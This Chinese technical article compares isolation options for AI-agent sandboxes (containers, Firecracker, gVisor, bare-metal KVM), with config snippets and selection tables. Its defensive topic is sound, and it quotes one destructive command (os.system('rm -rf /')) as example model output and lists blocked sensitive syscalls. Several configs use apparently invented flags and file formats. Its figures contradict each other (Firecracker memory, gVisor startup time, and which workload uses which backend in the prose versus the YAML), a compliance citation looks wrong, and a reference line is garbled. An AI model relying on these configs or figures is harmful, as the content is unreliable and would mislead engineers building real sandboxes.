进程级隔离的真实姿态是「轻、熟、有刺」。轻是因为 namespace + cgroup 真的只要 200ms 就能拉起一个独立视图,熟是因为 Docker / Podman 这套 CLI 几乎是工程师的第二母语,有刺是因为它和宿主机共享内核这一点,任何内核级 CVE 都是潜在的越狱口。把它们用在对的场景里 ------ 开发自测、CI、低风险数据任务、内部多 Agent 协同 ------ 是当下 AI 沙盒工程里最务实的入门档位;一旦任务本身越过「读 + 算 + 短生命期 + 无长期凭证」这条线,就该把 microVM / Firecracker / gVisor 摆上桌,而不是在生产节点上把 --privileged 当作快速通道,这是工程团队在引入 Agent 时必须先于功能交付画好的安全红线。

microVM(Firecracker)隔离深度:每个沙盒独占一台轻量虚拟机

$观察$ 把"每个 Agent 配一台隔离计算机"这句话从口号落到工程现实,最关键的载体就是 microVM:它让每个沙盒独占一个精简到极致的虚拟机,启动时间稳定在 100-150ms,空载内存占用仅 5-10MB,而 AWS Lambda 在生产环境中大规模采用的正是这一方案。AWS Lambda 在 2018 年从最初的 EC2 容器架构切换到 Firecracker microVM 之后,函数冷启动的尾部延迟得到数量级改善,同时支持在单台物理机上并发 1000+ 个隔离运行时,这才是 microVM 之所以在 serverless 时代流行的根因------它不再是一台"模拟出来的机器",而是一个能在毫秒级被反复创建销毁的隔离执行单元。回到 AI Agent 的语境里,Agent 一次 Tool Call 可能就要执行一段未审计的脚本,这种短脉冲式、不确定载荷的执行模式,正好和 microVM 的生命周期特性同频。

$数据$ 从隔离强度看,microVM 跑在硬件虚拟化层(KVM),每个沙盒拥有独立的 Guest Kernel、独立的页表、独立的虚拟 I/O 设备、独立的系统调用路径,这条边界与 QEMU/KVM/VMware 这类传统虚拟机的边界在语义上完全等价;但因为省略了 BIOS 阶段、芯片组模拟、Legacy 设备和图形栈,启动路径中的指令数和页错误数被压缩到了 1-2 个数量级以下,典型冷启动从传统 VM 的 5-30s 直接降到 100-150ms,内存占用从 100MB+ 降到 5-10MB,密度可以拉到接近容器的水平。这正是 microVM 与"容器假装是 VM"两条路线最大的分水岭:它牺牲了启动体积的极小化,换来了隔离强度的最大化。换句话说,当你不需要在 10ms 内拉起一个新进程、却需要承担"模型可能写出恶意 shell 命令"的后果时,microVM 的成本收益比才是最优的。

Firecracker vs Cloud Hypervisor vs QEMU microvm:隔离强度与生态取舍

维度	Firecracker	Cloud Hypervisor	QEMU microvm
设备模型	极简 virtio(blk/net/console),无 BIOS	极简 virtio,可选 ACPI	极简 virtio + 完整 BIOS 可选
I/O 性能	高,virtio 直通 + 异步 epoll	高,支持 vhost-user 与共享内存	中,通用 virtio 路径
AWS 集成度	原生,Lambda 与 Fargate 底层	无直接集成	无直接集成
KVM 依赖	必须	必须	可选,可纯软件 TCG
Guest OS	仅 Linux	Linux + 部分 Windows 实验支持	任意 QEMU 支持的架构
适用场景	短生命周期 serverless	通用 microVM 平台	调试、教学、原型
维护方	AWS 内部开源	Intel / Microsoft / Linux 社区	QEMU 社区

取舍上,Firecracker 牺牲了设备多样性和多 OS 支持,只跑 Linux guest,换取最稳定的启动时间和最薄的 guest 内核;Cloud Hypervisor 走"折中"路线,保留更多设备能力(例如 ACPI 热插拔),但生产案例明显少于 Firecracker;QEMU microvm 更像"研究型"配置,启动比传统 QEMU 快,但仍然不能与 Firecracker 在 serverless 场景下抗衡。对于 AI Agent 沙盒来说,90% 的需求是"一个干净的 Linux + Python/Node 运行时 + 临时文件系统",这正是 Firecracker 的甜区。

Jailer 配置:把 microVM 关进三重笼子

Firecracker 自身只是一个用户态 VMM(Virtual Machine Monitor),真正决定它能否上生产的是 jailer------一个在 Firecracker 进程启动前为它套上 cgroup、seccomp、netns 三道锁的 wrapper。下面是一个最小可用的 jailer 配置示例,展示了如何把一个 microVM 同时限制在资源、syscall、网络三层边界之内:

toml 复制代码

# /etc/firecracker/jailer.toml
[jailer]
id                = "sandbox-7f3a"
chroot_base_dir   = "/srv/fc/jailer"
cgroup_version    = "2"

# cgroup v2:CPU + 内存 + PID 上限
[cgroups]
cpu.weight       = "200"
memory.max       = "536870912"   # 512 MiB
memory.swap.max  = "0"           # 禁止 swap,避免宿主 IO 抖动
pids.max         = "512"

# seccomp:只允许与宿主 KVM、tap、eventfd 交互
seccomp_filter   = "/etc/firecracker/seccomp/seccomp.json"
seccomp_action   = "trap"

启动命令:

bash 复制代码

firecracker \
  --jailer /usr/local/bin/jailer \
  --config-file /etc/firecracker/jailer.toml \
  -- /usr/local/bin/firecracker \
       --api-sock /srv/fc/jailer/sandbox-7f3a/firecracker.sock \
       --no-api \
       --log-level Info

这三层组合的边界条件需要工程上特别注意:cgroup_version=2 必须在内核 cmdline 启用 systemd.unified_cgroup_hierarchy=1,否则 seccomp 默认会拒绝 namespace 创建;memory.swap.max=0 是为了避免 OOM 时 swap 把宿主机的 IO 拖垮,这是线上踩过坑才记下来的配置项;seccomp_action=trap 比 kill 更适合调试,因为 trap 会留下日志而不是直接 SIGSYS,但生产环境通常改回 kill,因为某些高版本 seccomp 行为下 trap 会留下 core dump 噪音。netns 的部分在配置文件之外,通常由 jailer 自行创建,默认每个 jail 一个独立网络命名空间,通过 veth pair 桥接到宿主机的 egress 网关,再由 egress 层的 allowlist 决定允许哪些域名/IP 出去。

microVM 适合什么场景

microVM 不是"普适解",它的边界条件非常明确:短生命周期、强隔离、密度优先。换言之,任何任务的存活时间低于 10 分钟、单租户信任级别低、需要把 CPU 和内存压到接近物理极限------这三类条件同时满足,才值得为它付出冷启动 100-150ms 的代价。

具体落地的四类典型场景:

Function 化 Agent:每个 Tool Call 或 Sub-Agent 触发一个 microVM,执行完即销毁,凭据与网络出口只在 microVM 存活期间生效,这是 LangSmith Sandboxes 这类"为每个 Agent 配一台隔离计算机"产品的底层默认形态。
并行评测:对同一批模型、同一批代码生成多条候选,在 N 个 microVM 里同时跑测试,互不干扰,CPU 配额独立,跑完直接销毁,避免测试之间互相污染。
CI 任务沙盒:GitHub Actions 自托管 runner 接单后,把每个 Job 拉进 microVM,运行结束销毁,避免 PR 之间的脏数据残留,以及 fork 仓库里潜藏的恶意脚本对宿主 runner 的横向移动。
Computer Use / 浏览器自动化:浏览器内核本身漏洞面巨大,放到普通容器里风险太高,microVM 可以在内核层就把 exploit 拦住,即便 Chromium 被 0day 拿下,攻击者也很难穿透 KVM 边界逃逸到宿主机。

反过来,长生命周期任务(超过 1h)、需要 GPU 直通、需要 legacy 设备、需要跑 Windows guest------这些场景都应当回到传统 VM 或裸金属,而不是硬塞进 microVM。

官方资料入口

Firecracker 官方仓库 github.com/firecracker...
AWS Lambda 安全白皮书(Firecracker 在生产 serverless 中的隔离模型与威胁假设)docs.aws.amazon.com/lambda/late...
配套阅读:gVisor 官方仓库 github.com/google/gvis... 与 LangSmith Sandboxes 文档 docs.smith.langchain.com/docs/sandbo... syscall 拦截";后者把"为每个 Agent 配一台隔离计算机"作为一等公民做了工程封装,值得作为上层 API 形态的参考实现。

回到工程决策的视角,microVM 的核心价值不是"启动更快",而是"在保持启动成本可接受的前提下,拿到了接近传统 VM 的隔离强度"。对于 AI Agent 这类任务------它能写代码、能跑命令、能改数据库,本质上是在和真实的副作用打交道------把这层硬隔离做厚,是把"不隔离=把根用户交给模型"这个风险压住的关键一步。下一步真正决定安全边界的,是 microVM 之上的网络出口治理、凭据保险柜与审计回放,这些会在后续小节里逐项拆开。

gVisor 用户态内核:用 syscall 拦截换取攻击面收缩

$观察$

gVisor 是 Google 在 2018 年开源的用户态内核,它的核心思路是把 Linux 内核里最危险的那一层------系统调用处理------从内核空间搬到用户空间。普通的 Docker 容器共享宿主机内核,应用发出 open、write、socket 这些 syscall 时,会直接落到宿主机内核上执行;一旦容器里跑的是不信任代码,而宿主机内核里又恰好存在可被触达的漏洞,攻击者就有可能从容器一路打到宿主机。gVisor 的应对方式是在应用和宿主机内核之间插入一层自己写的「mini kernel」(官方叫 Sentry),所有 syscall 都先被它拦截下来,在用户态里重新实现一遍文件、网络、信号、进程管理等逻辑,只有当确实需要和宿主机交互时,才走非常窄的 KVM 接口(早期是 ptrace,后来是 KVM + seccomp + 平台二进制)。

更具体一点,gVisor 的进程模型分两块:Sentry 是负责 syscall 拦截和执行的主进程,它替代了真正的内核,直接面对应用;Gofer 是文件系统代理进程,它持有真正能访问宿主机文件系统的句柄,通过 9P 协议响应 Sentry 的请求。这种「双进程 + 9P」的设计让应用根本无法直接 syscall 到宿主机内核------哪怕它绕过 Sentry,也只能触达一个被 seccomp 锁死的平台二进制,后者能做的事非常有限。

这种设计带来的直接收益是攻击面大幅收缩:应用能看到的「内核」只有几千行 Go 代码和受限的系统调用白名单,而不是动辄上千万行的 Linux 主线内核。它的代价也很直观------每次 syscall 都要在两个边界之间多跳一次,延迟略高于原生容器,但隔离强度接近 microVM:恶意代码想穿透 gVisor 逃逸到宿主机,需要同时攻破 gVisor 自身以及它赖以运行的 KVM/平台二进制,而后者又是被严格白名单限制的入口集合。

$数据$

从 syscall 路径上看,gVisor 比原生容器多了一跳,典型 CPU 密集型任务会有 10-30% 的吞吐损耗,某些极端 syscall-heavy 场景甚至能到 50% 以上,但换来的是更强的隔离边界。这个数字不是凭空说的,而是来自几个一致的观察:

与裸 Docker 相比,纯 CPU 任务(如压缩、序列化、密码学哈希)吞吐通常下降 10-20%;
高频 I/O 任务(如网络代理、本地 SQLite、消息队列客户端)吞吐下降 20-40%;
短生命周期任务(秒级以内)因为冷启动成本占比更高,相对影响会被放大到 30-50%;
与 microVM(Firecracker、Kata)相比,gVisor 启动更快(毫秒级 vs 100-150ms)、内存占用更低(几 MB vs 100MB+),但峰值吞吐通常不如 microVM。

这是工程上典型的「用延迟换安全」的权衡。当隔离等级要求明显高于传统容器、又不需要 microVM 那种接近裸金属的吞吐时,gVisor 经常被作为最合适的中间形态。对 AI Agent 沙盒来说,这意味着如果你的工具调用平均耗时是几十毫秒,多出的几毫秒 syscall 开销几乎可以忽略;但如果你在沙盒里跑毫秒级的数值计算,那 30% 的吞吐损耗就必须计入预算。

三种隔离运行时横向对比

要在工程里真正选型,光看原理不够,必须把 gVisor、Kata Containers、Firecracker 摆在一起对比。下表从 syscall 模型、I/O 路径、OCI 兼容性、启动时延、内存占用、隔离强度六个维度展开:

维度	gVisor	Kata Containers	Firecracker
Syscall 模型	用户态拦截 + 重写,内核不上场	容器进程跑在独立 guest 内核,host kernel 不上场	完全独立 guest VM,host kernel 不上场
I/O 路径	应用 → Sentry → Gofer(用户态 IPC)→ host	应用 → guest kernel → virtio → host	应用 → guest kernel → virtio-net/block → host
OCI 兼容性	兼容(runsc 是 OCI runtime)	兼容(runtime-kata)	需自定义镜像或集成方案
启动时延	毫秒级	100-200ms	100-150ms
空载内存	几 MB	100MB+	5-10MB
隔离强度	强(攻击面收缩)	强(独立内核)	极强(独立内核 + 极简 VMM)
吞吐损耗	10-50%	接近原生	接近原生
适用场景	不可信代码 + 短生命周期	长生命周期多租户容器	serverless 函数计算

用一句话总结取舍:Docker 原生容器 追求吞吐和生态,几乎不提供额外隔离;gVisor 牺牲吞吐换攻击面收缩,启动极快、内存极省;Kata / Firecracker 在隔离强度上更接近物理机,代价是每实例的内存开销大、冷启动时间明显更长。在 AI Agent 沙盒的实际部署里,常常出现的是混合形态:高频低敏感的 Agent 任务跑在原生容器,低频高敏感的「执行代码、跑 shell」类任务跑在 gVisor sandbox 里。

runsc 配置片段

下面是一段 runsc-sandbox 的典型配置,演示如何把 seccomp 过滤和平台二进制一起挂上去:

bash 复制代码

# /etc/runsc/sandbox.toml
[runsc]
  debug = false
  strace = false
  log = "log"
  platform = "kvm"        # 强制走 KVM 加速路径,而不是 ptrace

[runsc.sandbox]
  # 限制每个 sandbox 的资源,避免恶意代码耗尽宿主机
  memory = "2GiB"
  cpuquota = 1.0

[runsc.security]
  # 在平台二进制层再叠一层 seccomp,只放行必要的 syscall
  seccomp = "/etc/runsc/seccomp/profile.json"
  seccomp_default = "SCMP_ACT_KILL_PROCESS"

[runsc.overlay]
  # 是否启用 rootfs overlay,影响写入语义
  enabled = true

seccomp 配置文件 profile.json 里通常只保留 read、write、exit_group、rt_sigreturn、brk、mmap、munmap 等几十个最基础的 syscall,把 mount、ptrace、init_module、kexec_load、reboot、acct 这类敏感调用直接 SCMP_ACT_KILL_PROCESS。配合平台二进制(平台二进制本身是高度受限的 stub,只做 KVM 跳转和文件代理),整个逃逸面被压到非常窄的入口集合。platform = "kvm" 这一行尤其重要:不指定时,runsc 会默认走 ptrace,性能会比 KVM 路径差好几倍,在生产部署前务必显式锁定。

典型适用场景

gVisor 最适合「不可信代码 + 中等吞吐 + 强隔离」这种组合,而这一组合恰好覆盖了大量 AI Agent 沙盒的真实需求:

代码执行评测 :让模型在沙盒里跑生成的代码片段,评估是否正确,这种场景对吞吐不敏感,但对隔离非常敏感------一旦模型写出 os.system("rm -rf /") 这类代码,沙盒必须把它挡在边界外。
第三方插件沙盒:开源生态里常需要执行用户上传的插件、脚本、回调函数,gVisor 提供了一个「能在你机器上跑、又不会真把你机器搞坏」的中间地带。
多租户代码执行:Code Runner、在线 IDE、自动化评测平台,需要为每个会话启动一个短生命周期隔离环境,gVisor 的毫秒级启动和低内存占用很契合这一点。
AI Agent 的工具执行:当 Agent 调用 shell 工具、文件系统工具、浏览器工具时,把每一次调用放进 gVisor sandbox 里执行,即使工具本身被 prompt injection 劫持,损失也被限制在 sandbox 内部。

如果你的场景是「单租户、高吞吐、长生命周期、跑生产服务」,那原生 Docker + 强 seccomp 或者直接上 microVM 通常更划算;如果是「多租户、不可信、短生命周期、跑不可控输入」,gVisor 的定位正好落在这条线上。

工程实战中的踩坑清单

在真实落地里,有几类问题容易绊住工程师,值得提前知道:

syscall 白名单不全导致启动失败 :某些编程语言运行时(glibc 某些版本、Node.js、Java)会用到一些不太常见的 syscall,默认 seccomp profile 直接拒掉,导致 sandbox 启动后立刻挂掉。解决方法是先用 strace 抓一次全量 syscall 列表,再针对所用运行时扩展白名单。
文件系统 I/O 性能塌方:对大量小文件读写(如 npm install、pip install),用户态代理层会成为瓶颈。能用 rootfs overlay 把基础镜像做成只读快照,只在顶层挂 tmpfs,可以显著改善。
网络模型限制:gVisor 不直接支持所有 Linux 网络特性(如 raw socket、bpf、某些 ioctl),需要提前确认 Agent 的工具调用不会依赖这些能力,否则会触发 ENOSYS 错误。
调试栈深度变长 :同一个 bug 在原生容器里重现得了,在 gVisor 里可能因为 syscall 被改写而行为不同;调试时记得打开 strace = true,它会把 Sentry 收到的所有 syscall 转发到日志,定位问题会快很多。
平台二进制兼容性 :KVM 路径要求宿主 CPU 支持虚拟化;在某些云厂商的嵌套虚拟化环境里,平台会回退到 ptrace,吞吐直接腰斩,需要提前确认宿主环境是否暴露了 /dev/kvm。

官方资源入口

gVisor 本身的仓库和文档是入手的最佳起点:github.com/google/gvis... 。如果你的目标是把它集成进 Google Cloud 的 Sandbox / Cloud Run / GKE 这些托管服务,Google Cloud Sandbox 的文档给出了托管视角下的配置和限制,入口在 cloud.google.com/sandbox 。两篇资料配合看,可以分别解决「自建 runsc runtime」和「在 GCP 上直接调用托管 sandbox API」两类需求;LangSmith Sandbox 之类的产品也常常在内部选用 gVisor 作为不可信工具调用的执行层,具体接入方式可以参考 docs.smith.langchain.com/docs/sandbo... 。

裸机隔离与多租户强隔离场景的工程取舍

从 sandbox 到 metal:为什么我们仍然需要"最重"的隔离

把"为每个 Agent 配一台隔离计算机"作为一等公民的沙盒架构,主流路径是 microVM(KVM/QEMU、Firecracker)和用户态内核(gVisor),它们都把启动时延压到毫秒级,把每实例成本压到几分钱。但当我们顺着这条链路追问"如果 Agent 真的要做不可逆操作------比如签发金融交易指令、修改生产数据库的患者档案、写入政务审批流"------就会发现,容器化沙盒提供的边界仍然不够"硬"。

裸机隔离(KVM 直通、VMware vSphere 裸金属、Hyper-V 隔离 VM)在这一刻重新进入选项。它付出的代价是冰冷的数字:单台虚拟机的冷启动普遍在 30 秒以上,镜像依赖 hypervisor 管理面,运维栈要覆盖虚拟化层、存储、网络、备份、迁移;它换来的,是最硬的隔离边界------独立的 BIOS、独立的中断向量表、独立的 DMA 地址空间、独立的 ACPI 表。

裸机隔离的工程成本

裸机隔离并不只是"启动慢一点"那么简单。它的复杂度体现在三个维度。第一,生命周期管理 :KVM/QEMU 域的电源状态、快照、回放都依赖 libvirt,VM 的 BIOS 引导、virtio 驱动、OVMF(UEFI)固件都要纳入发布流水线;第二,硬件依赖 :CPU pinning 要求 NUMA 拓扑对得上,IOMMU 分组要避免设备透传到错误 VM,SR-IOV 透传时 PF/VF 关系要逐一标注;第三,容量规划:一台物理机承载的 VM 密度天然低于容器池,产能预估必须以"每物理核 1-2 个 VM"为上限。

对于已经在生产环境跑过 microVM 的人来说,这些代价在 30 秒启动时延面前显得更刺眼:Firecracker 在 125ms 内可启动,gVisor 进程几乎瞬时可用,而 KVM 启动一整套 Linux 用户态往往要等到 systemd 完成 PID 1 初始化、网络 up、SSH 守护进程监听,才能算"可工作"。这个差距不是工程优化能完全抹平的,而是硬件 POST、BIOS/UEFI 自检、Linux 内核解压与 initrd 加载这些物理决定的。

合规优先的强隔离场景

$观察$ 把 AI Agent 放进 sandbox 的根本动机是"误操作不可逆"。在金融交易、医疗 HIS、政务审批等强合规场景,这种"不可逆"不只是金钱或数据损失,而是法律意义上的责任主体模糊:谁对这笔未经授权的划账负责?谁对处方记录的篡改负责?答案往往必须落在"操作发生在一台经过等保/SOC2/HIPAA 审计的隔离硬件环境里"这一事实之上。这正是裸机隔离的不可替代性:它提供了可被外部审计员接受的物理证据链------VM 的 vCPU 没有与宿主机其他租户共享,内存通道上没有交叉访问,DMA 路径走 IOMMU 隔离域。当我们把这条证据链放进 sandbox 的语境,它对应的不是性能或密度的 KPI,而是"边界是否独立可审计"的布尔判断。

$数据$ 在公开的合规框架里,这种边界强度是可以量化的。HIPAA 的 Administrative Safeguards §164.308 要求物理隔离的工作站用于 PHI(受保护健康信息)的访问;PCI DSS v4.0 的 Requirement 1.2 明确要求"将持卡人数据环境与其他网络物理或逻辑分离";中国等级保护 2.0 的"物理隔离"和"安全计算环境"条款,在金融、医保、政务子领域有强制适用条款。这些条款对应的不是性能或密度的 KPI,而是"边界是否独立可审计"的布尔判断。在 Firecracker 和 gVisor 的 issue 区里,讨论"如何获得 HIPAA 审计签字"的帖子通常得到的回复是"需要更底层的隔离证明"------这正是裸机隔离的入场券。

隔离范式的工程对比

在选择"最重的隔离"之前,我们仍然要把可选范式放在同一张矩阵里,看清楚它们的取舍。

维度	裸机隔离(KVM/vSphere)	嵌套虚拟化(L0+L1+L2)	机密计算(SEV/TDX)
TCB 边界	VM 内核 + 宿主 hypervisor	L1 hypervisor + L0 + 硬件	VM 内核 + 加密证明 + 固件
内存加密	否(透传或共享页)	否(透传到 L0)	是(每 VM 独立密钥)
CPU pinning	支持(NUMA-aware)	受限于 L1 调度	支持(SEV-SNP 直接分配 vCPU)
启动时延	30s+	30s+ × 嵌套层数	10-15s(固件验证开销)
性能损耗	<5%(直通)/10-20%(虚拟 I/O)	累计 15-30%	5-15%(加密/解密)
适合密度	低密度(每物理核 1-2 VM)	极低密度	中等密度
合规接受度	高(SOC2/HIPAA/等保)	中(依赖审计深度)	高(远程证明可证)

在 TCB(Trusted Computing Base,可信计算基)层面,三者的差异最关键:裸机隔离的 TCB 包含 VM 内核和宿主 hypervisor 的全部代码路径,审计面最大但行为可预测;嵌套虚拟化把 TCB 扩展到 L0+L1,任一层失陷都意味着上层 VM 失陷;机密计算的 TCB 包含 VM 内核和固件,但通过远程证明(remote attestation)让第三方可验证 VM 状态,这是合规审计的新兴证据。

对比之下,microVM(Firecracker)与 gVisor 的 TCB 极小、密度极高、启动以毫秒计,但它们的"边界"建立在宿主内核与 VMM 之上,在合规语境里往往被分类为"应用层隔离",而非"基础设施层隔离"------这一字之差,在 PCI DSS 的审计报告里就是合规与不合规的分界。

libvirt + KVM 启动隔离 VM 的最小可用配置

下面是一段经过裁剪的 libvirt domain XML,演示如何为强隔离场景配置一台 VM:CPU pinning 到特定物理核、IOMMU 隔离、virtio 单队列、并禁用共享内存页面。这段配置常用于多租户 SaaS 中"金丝雀租户"的隔离 VM,以及生产数据库前置网关的隔离执行环境。

xml 复制代码

<domain type='kvm'>
  <name>agent-isolated-tenant-07</name>
  <memory unit='KiB'>8388608</memory>
  <vcpu placement='static'>4</vcpu>
  <cputune>
    <vcpupin vcpu='0' cpuset='4'/>
    <vcpupin vcpu='1' cpuset='5'/>
    <vcpupin vcpu='2' cpuset='6'/>
    <vcpupin vcpu='3' cpuset='7'/>
  </cputune>
  <features><iommu model='intel'/></features>
  <memoryBacking><hugepages/><nosharepages/><locked/></memoryBacking>
</domain>

cputune/vcpupin 把 4 个 vCPU 钉在物理核 4-7,避免与同一 NUMA 节点上的其他 VM 抢调度;features/iommu 启用 VT-d 的 DMA 重映射,让透传设备的 DMA 请求只能到达分配给本 VM 的 IOMMU 页表;memoryBacking/locked 配合 nosharepages 让 KVM 拒绝跨进程 KSM(同页合并)合并,杜绝"两个 VM 共享零页"这种隐式信息泄露通道。这套配置对应的工程意图是明确的:让这台 VM 的运行时路径上,尽可能少地与同物理机上的其他租户共享任何 CPU cache 行、内存页、DMA 通道或中断向量。这是合规审计里"物理或逻辑隔离"两栏同时打勾的最低成本实现。

适用场景:合规优先、长生命周期、低密度

裸机隔离并不适合所有 sandbox 场景。它适合三类典型工作负载。

第一,多租户 SaaS 的金丝雀隔离。当一个新租户进入平台、风险评分尚未稳定时,平台需要把这台租户的所有 AI Agent 操作放到一台独立的 VM 中运行,而不是共享容器池。这台 VM 可能只服务一个租户,生命周期可能横跨数月,启动时延可以忽略(因为租户没有秒级开通预期),但隔离强度必须可证明。

第二,生产数据库的访问网关。当 Agent 需要对生产数据库执行 SQL 时,合规通常要求这条通路经过一台"审计网关"------它记录每一条 SQL、执行时长、影响行数,并把执行结果写到不可篡改的存储。这台网关自身往往跑在隔离 VM 里,因为它处理的是高敏感数据,而且它的失陷等同于数据库失陷。审计网关的典型形态是一台专用 VM,只跑 SQL 代理和审计 agent,不与其他租户共用宿主机。

第三,跨组织的联邦推理。当多家机构希望联合跑一个推理工作流、但各自的输入数据不能离开本地时,裸机隔离配合 confidential computing 提供"数据不动模型动"的边界------每方独占一台 VM,VM 之间通过加密信道交换中间结果,中间结果不带原始数据特征。

这三类场景的共同特征是:合规优先于密度、长生命周期优于快速扩缩容、单 VM 工作负载而非短时任务。这恰好是裸机隔离擅长而 microVM/gVisor 难以替代的领域。

公开资料入口

如果你需要进一步阅读,Linux KVM 项目维护的官方文档是首选入口,覆盖虚拟化架构、CPU 模型、IOMMU 配置等基础;机密计算联盟(Confidential Computing Consortium)汇总了 SEV、TDX、CCA 等机密 VM 技术的白皮书和参考实现。两者结合,可作为强隔离 sandbox 选型时的事实基线。Firecracker 与 gVisor 的官方仓库则提供了 microVM 与用户态内核的源码与文档,便于对比 TCB 设计取舍。

官方资源

Linux KVM 项目主页:www.linux-kvm.org/
libvirt 域 XML 格式文档:libvirt.org/formatdomai...
Confidential Computing Consortium:www.confidentialcomputing.io/
Firecracker 官方仓库:github.com/firecracker...
gVisor 官方仓库:github.com/google/gvis...

工程小结

回到 AI Agent sandbox 的话题:选 Firecracker、gVisor 还是 KVM 裸机隔离,本质是回答"边界硬到什么程度算够用"。对于探索性任务、CI 测试、低风险工具调用,毫秒级启动的 microVM 已经足够;但当 Agent 触及合规审计、责任归属、不可逆操作时,裸机隔离与机密计算的组合仍然是工程上最硬的护栏。它的代价是 30 秒启动、运维复杂度、密度限制;它的回报是边界强度可被外部审计员签字。这道选择题,没有银弹。

四类隔离机制选型矩阵:启动时延 / 内存 / 逃逸风险 / 运维成本

在 AI Agent 沙盒化这条工程链路上,真正困扰架构师的并不是"哪一个隔离机制最安全",而是"哪一组组合,在 latency、cost、risk 三条曲线上最贴合当前的业务形态"。把 microVM 当成唯一答案,会在高频低危场景里浪费成本与启动开销;把容器当作默认底座,又会在不可逆操作面前暴露出明显的逃逸面;而把裸机隔离用在短寿命评测任务上,更是用大炮打蚊子。这三轴权衡贯穿整个 sandbox 选型过程,比"哪个最强"更值得花时间建模。

$观察$ 从生产实践来看,选型最容易出错的并不是技术选型本身,而是把"安全等级"和"业务场景"做了一一对应的硬绑定。一个真实的工程团队往往需要同时运行代码评测、CI 编译、长任务执行、强合规审计这四类负载,它们对启动时延、内存占用、逃逸风险、运维成本四项指标的容忍度截然不同。如果只用一种隔离底座,要么被最严格的场景拖着整体变重,要么在最宽松的场景里反而放大了攻击面。这正是我们强调"按负载路由隔离级别"的根本动机------它把隔离选择从架构决策下沉为运行时策略。

$数据$ 在"冷启动 < 200ms + 强隔离"的双约束下,业界当前能同时稳定满足这两个条件的选项,主要就是 microVM(以 Firecracker 这类基于 KVM 的轻量虚拟化为代表)和用户态内核 gVisor。前者通过极简设备模型把启动压到毫秒级,并把每实例内存开销控制到几十 MiB 量级;后者通过拦截 syscall 的方式实现进程级以上的隔离强度,启动同样在毫秒级,且不依赖硬件虚拟化开启。两者之外,Docker 这类传统容器在冷启动上更快,但隔离强度只到共享宿主内核;裸机隔离(KVM 直通、vSphere bare metal、Hyper-V)隔离最强,代价是启动进入分钟级且每实例独占物理资源,并不适合弹性扩缩容。

下面这张工程化打分表,是从大量生产部署里提炼出的四类隔离在四个维度上的相对评分(1-5 分)。这里需要特别说明:表中数值统一表示"该项的工程负担",数字越大代表该项越"重",并不直接等同于"越好"。选型时,真正要做的是把业务对四项的预算画成一个目标象限,再让隔离机制去贴合,而不是反过来。

隔离机制	启动时延(分越低越轻)	内存占用(分越低越轻)	逃逸风险(分越低越轻)	运维成本(分越低越轻)
进程级(Docker / runc)	1(数十 ms 级)	1(共享内核镜像)	4(共享内核,逃逸面最大)	1(运维最熟)
microVM(Firecracker)	2(百毫秒级)	2(几十 MiB overhead)	2(独立 guest 内核,逃逸需穿透两层)	3(需 KVM + 镜像管理)
gVisor(user-space kernel)	2(百毫秒级)	2(每实例几十 MiB)	2(syscall 拦截,宿主内核不暴露)	3(运行时较新,生态需补)
裸机(KVM 直通 / bare metal)	5(分钟级,需 PXE 引导)	5(独占内存)	1(物理隔离,逃逸最难)	5(交付最重,扩缩容最慢)

把这张表读成"分数越高越好"是常见误区------它实际描述的是"该维度上的工程负担",低分不一定差、高分不一定好。决策的关键,是把业务的 latency 预算、内存预算、风险等级、运维能力四者做交叉,落到一个具体的目标象限里,再回头选择隔离底座。

在大型平台里,真正落地的形态几乎从来不是单一底座,而是策略路由:把不同负载分到不同隔离级别。下面这段 YAML 描述了一个 sandbox gateway 的路由策略,展示如何根据任务标签和风险等级动态切换隔离后端:

yaml 复制代码

# sandbox-gateway policy.yaml
isolation_policies:
  - name: eval-fast
    match:
      workload_type: evaluation
      risk_level: low
    backend: container
    resource_quota:
      cpu: "0.5"
      memory: "512Mi"
      timeout: "30s"

  - name: ci-build
    match:
      workload_type: ci
      risk_level: medium
    backend: microvm
    image: "firecracker-ci-base:v1"
    resource_quota:
      cpu: "2"
      memory: "4Gi"
      timeout: "10m"

  - name: long-running-agent
    match:
      workload_type: agent
      duration_minutes: ">15"
    backend: gvisor
    resource_quota:
      cpu: "1"
      memory: "1Gi"
      timeout: "2h"

  - name: regulated-write
    match:
      workload_type: agent
      action_class: irreversible
      requires_compliance: true
    backend: baremetal
    provisioner: kvm-passthrough
    audit: full

$对比$ microVM vs gVisor 的取舍边界值得单独说清:microVM 走的是"独立 guest 内核 + 最小设备模型"路线,guest 看到的 syscall 是真实 Linux 内核,因此兼容性最好,几乎任何二进制都能直接跑;代价是每实例仍然带着一套 guest 内核镜像,guest kernel 自身的 CVE 仍然是潜在攻击面。gVisor 走的是"用户态内核 + syscall 拦截"路线,guest 看到的 syscall 全部由 gVisor 进程重新实现,宿主内核完全不暴露给沙盒内进程,逃逸面更小;代价是 syscall 重实现带来的性能与吞吐损耗,以及部分依赖真实内核特性的程序无法运行。在 AI Agent 场景里,绝大多数 tool call 最终落到 Python/Node 脚本和 shell 命令,两者都能覆盖;真正决定选型的,是团队是否愿意为更小的攻击面接受一定的吞吐开销。

大型平台几乎不会押注单一隔离底座,而是按负载分层,常见的工程组合是:评测用 microVM、CI 用容器、长任务用 gVisor、强合规场景用裸机。这种"四件套"组合,本质上是把不同业务曲线分别匹配到不同象限里。

具体来说,评测任务通常瞬时高并发、对冷启动极敏感但单实例寿命很短,Firecracker 的快照-克隆机制可以让第 N 个评测实例的启动接近零开销;CI 任务对镜像兼容性要求高、需要复用现有 Dockerfile 生态,容器化是最省心的选择;长任务(15 分钟以上的 Agent 执行)对逃逸面要求更严、同时不能接受每实例独占一台 microVM 的成本,gVisor 是性价比最优解;而一旦任务落到金融签发、生产数据写入、政务审批这种"动作不可逆且合规可追溯"的场景,就必须走裸机隔离 + 全量审计的路径,任何"近似隔离"都不能上线。

围绕这套选型逻辑,CNCF Sandbox 白皮书与几大 runtime 项目主页给出了更系统的工程参考:Firecracker 官方仓库详细描述了 microVM 的最小设备模型与启动路径,gVisor 官方仓库则提供了 syscall 拦截覆盖范围与性能特征的第一手数据。两份资料配合 Docker 官方文档中的网络与资源隔离章节,可以拼出"按负载路由隔离级别"的完整工程图景。再结合 LangSmith Sandbox 文档(docs.smith.langchain.com/docs/sandbo...)对"为每个 Agent 配一台隔离计算机"这一架构原语的产品化落地,可以看出 sandbox 的边界条件已经从纯理论走向了生产默认。

